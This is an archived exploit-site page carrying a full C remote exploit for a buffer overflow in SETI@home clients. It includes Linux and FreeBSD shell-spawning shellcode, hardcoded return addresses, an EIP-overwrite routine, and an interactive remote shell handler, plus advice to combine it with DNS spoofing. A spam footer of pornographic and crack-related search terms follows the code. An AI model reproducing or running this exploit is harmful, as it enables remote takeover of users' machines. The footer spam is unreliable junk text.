about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , SETI@home Clients Buffer Overflow Exploit



2003-04-08 SETI@home Clients Buffer Overflow Exploit
/*
 Seti@Home exploit by zillion[at]safemode.org (2003/01/07)

 Credits for the vulnerability go to: SkyLined
<SkyLined@edup.tudelft.nl>
 http://spoor12.edup.tudelft.nl/SkyLined%20v4.2/?Advisories/Seti@home

 Use this exploit in combination with a DNS spoofing utility such as the
one
 provided in the Dsniff package.
http://naughty.monkey.org/~dugsong/dsniff/

*/

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <stdio.h>

#define NOP 0x41
#define EXEC "TERM=xterm; export TERM=xterm;exec /bin/sh -i"
#define EXEC2 "id;uname -a;"

char linux_shellcode[] =

 /* dup */
 "\x31\xc9\x31\xc0\x31\xdb\xb3\x04\xb0\x3f\xcd\x80\xfe\xc1\xb0"
 "\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"


 /* execve /bin/sh */
 "\x31\xdb\x31\xc9\xf7\xe3\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


char freebsd_shellcode[] =

 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x03\xbb\xff\xff\xff\xff"
 "\xb2\x04\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3"

 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
 "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
 "\xb0\x3b\x50\xcd\x80";

char static_crap[] =


"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

struct target
{
 int num;
 char *description;
 char *versions;
 char *type;
 char *shellcode;
 long retaddress;
 int bufsize;
 int offset;
 int junk;
};

struct target targets[] =
{
 {0, "Linux 2.2.* ", "3.03.i386 linux-gnu-gnulibc2.1
", "Packet retr mode", linux_shellcode,
 0xbffff420, 520, 500, 0},
 {1, "Linux 2.4.* ", "3.03 i386/i686 linux-gnu-gnulibc2.1
", "Packet retr mode", linux_shellcode,
 0xbffff390, 520, 500, 1},
 {2, "Linux 2.* ", "3.03.i386/i686
linux-gnulibc1-static", "Packet retr mode",
linux_shellcode,
 0xbffff448, 520, 500, 1},
 {3, "All above ", "3.03.i386 linux* ", "Packet
retr mode", linux_shellcode,
 0xbffff448, 520, 300, 1},
 {4, "FreeBSD ", "3.03.i386 FreeBSD-2.2.8 ",
"Packet retr mode", freebsd_shellcode,
 0x0004956c, 520, 1, 2},
 {5, NULL, NULL, NULL, NULL, 0, 0, 0}
};

int open_socket(int port)
{

 int sock,fd;
 struct sockaddr_in cliAddr, servAddr;

 sock = socket(AF_INET, SOCK_STREAM, 0);
 if(sock<0) {
 printf("Error: Cannot open socket \n");
 exit(1);
 }

 /* bind server port */
 servAddr.sin_family = AF_INET;
 servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 servAddr.sin_port = htons(port);

 if(bind(sock, (struct sockaddr *) &servAddr, sizeof(servAddr))<0) {
 printf("Error: Cannot bind to port %d \n",port);
 exit(1);
 }

 listen(sock,5);
 fd=accept(sock,0,0);

 return fd;
}

void usage(char *progname) {

 int i;


printf("\n---------------------------------------------------");
 printf("\n *- Seti@Home remote exploit by zillion (s-m0de)
-*");

printf("\n---------------------------------------------------");
 printf("\n\nDefault : %s -h <target host>",progname);
 printf("\nTarget : %s -t <number>",progname);
 printf("\nOffset : %s -o <offset>",progname);
 printf("\nPort : %s -p <port>\n",progname);
 printf("\nDebug : %s -d \n",progname);

 printf("\nAvailable types:\n");

printf("---------------------------------------------------\n");
 for(i = 0; targets[i].description; i++) {
 fprintf(stdout, "%d\t%s\t%s\t%s\n", targets[i].num,
targets[i].description,targets[i].
versions,targets[i].type);
 }
 printf("\n\n");
 exit(0);
}

int sh(int sockfd) {
 char snd[1024], rcv[1024];
 fd_set rset;
 int maxfd, n,test;

 strcpy(snd, EXEC "\n");
 write(sockfd, snd, strlen(snd));

 read(sockfd,rcv,7);
 fflush(stdout);

 strcpy(snd, EXEC2 "\n");
 write(sockfd, snd, strlen(snd));

 /* Main command loop */
 for (;;) {
 FD_SET(fileno(stdin), &rset);
 FD_SET(sockfd, &rset);

 maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
 select(maxfd, &rset, NULL, NULL, NULL);

 if (FD_ISSET(fileno(stdin), &rset)) {
 bzero(snd, sizeof(snd));
 fgets(snd, sizeof(snd)-2, stdin);
 write(sockfd, snd, strlen(snd));
 }

 if (FD_ISSET(sockfd, &rset)) {
 bzero(rcv, sizeof(rcv));

 if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
	/* exit */
	return 0;
 }

 if (n < 0) {
	perror("read");
	return 1;
 }

 fputs(rcv, stdout);
 fflush(stdout);
 }
 } /* for(;;) */
}


int main(int argc, char **argv){

 char *buffer,*tmp;
 long retaddress;
 char rcv[200];
 int fd,i,arg,debug=0,type=0,port=80,offset=250;

 if(argc < 2) { usage(argv[0]); }

 while ((arg = getopt (argc, argv, "dh:o:l:p:t:")) != -1){
 switch (arg){
 case 'd':
	debug = 1;
	break;
 case 'o':
 offset = atoi(optarg);
 break;
 case 'p':
 port = atoi(optarg);
 break;
 case 't':
 type = atoi(optarg);
 break;
 default :
 usage(argv[0]);
 }
 }

 if((targets[type].retaddress) != 0) {
 buffer = (char *)malloc((targets[type].bufsize));

 /* some junk may be required to counter buffer manipulation */

 if(targets[type].junk == 1) {

 tmp = (char *)malloc(strlen(static_crap) +
strlen(targets[type].shellcode));

 strcpy(tmp,targets[type].shellcode);
 strcat(tmp,static_crap);

 targets[type].shellcode = tmp;

 }

 memset(buffer,NOP,targets[type].bufsize);
 memcpy(buffer + (targets[type].bufsize) -
(strlen(targets[type].shellcode) + 8) ,targets[type].
shellcode,strlen(targets[type].shellcode));

 /* Overwrite EBP and EIP */
 *(long *)&buffer[(targets[type].bufsize) - 8] = (targets[type].retaddress
- targets[type].offset);


 // If freebsd we need to place a value without 00 in ebp

 if(type == 4) {
 *(long *)&buffer[(targets[type].bufsize) - 8] = 0xbfbff654;
 }

 *(long *)&buffer[(targets[type].bufsize) - 4] = (targets[type].retaddress
- targets[type].offset);

 /* Uncomment to overwrite eip and ebp with 41414141 */
 if(debug == 1) {
 *(long *)&buffer[(targets[type].bufsize) - 8] = 0x41414141;
 *(long *)&buffer[(targets[type].bufsize) - 4] = 0x41414141;
 }
 }

 fd = open_socket(port);

 write(fd,buffer,strlen(buffer));
 write(fd,"\n",1);
 write(fd,"\n",1);

 sleep(1);
 sh(fd);

 close(fd);
 return 0;

}
securitydot.net - 2003-04-08

Advertising

Copyright 2007, SecurityDot
Tue, 15 Dec 2009 21:41:35 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Www.winsel t150t www.xxx.3x asp Smart Crack Data lo778l www.asiafr adikit.com edating sexy vido www.freevi SAMIRA.IMA gadu melissa de www.movx.c www tamils burning bo Free sexvi 2...om_id/ awpanel sex labia dogsex.com Maya www.ss2pc. mambo Remo rasid.com smakthat s decryptor Remote Ove bjhdsr.cn WWW.SEXYPH heartbeat linux 2.4. autoclose. Babypussy buffon www.beijin modules/To www.brazil www.satuke pro rat Kernel 2.6 Dipika nud sex labia p...es/con huey nexustk advanced g paki big b Pic porno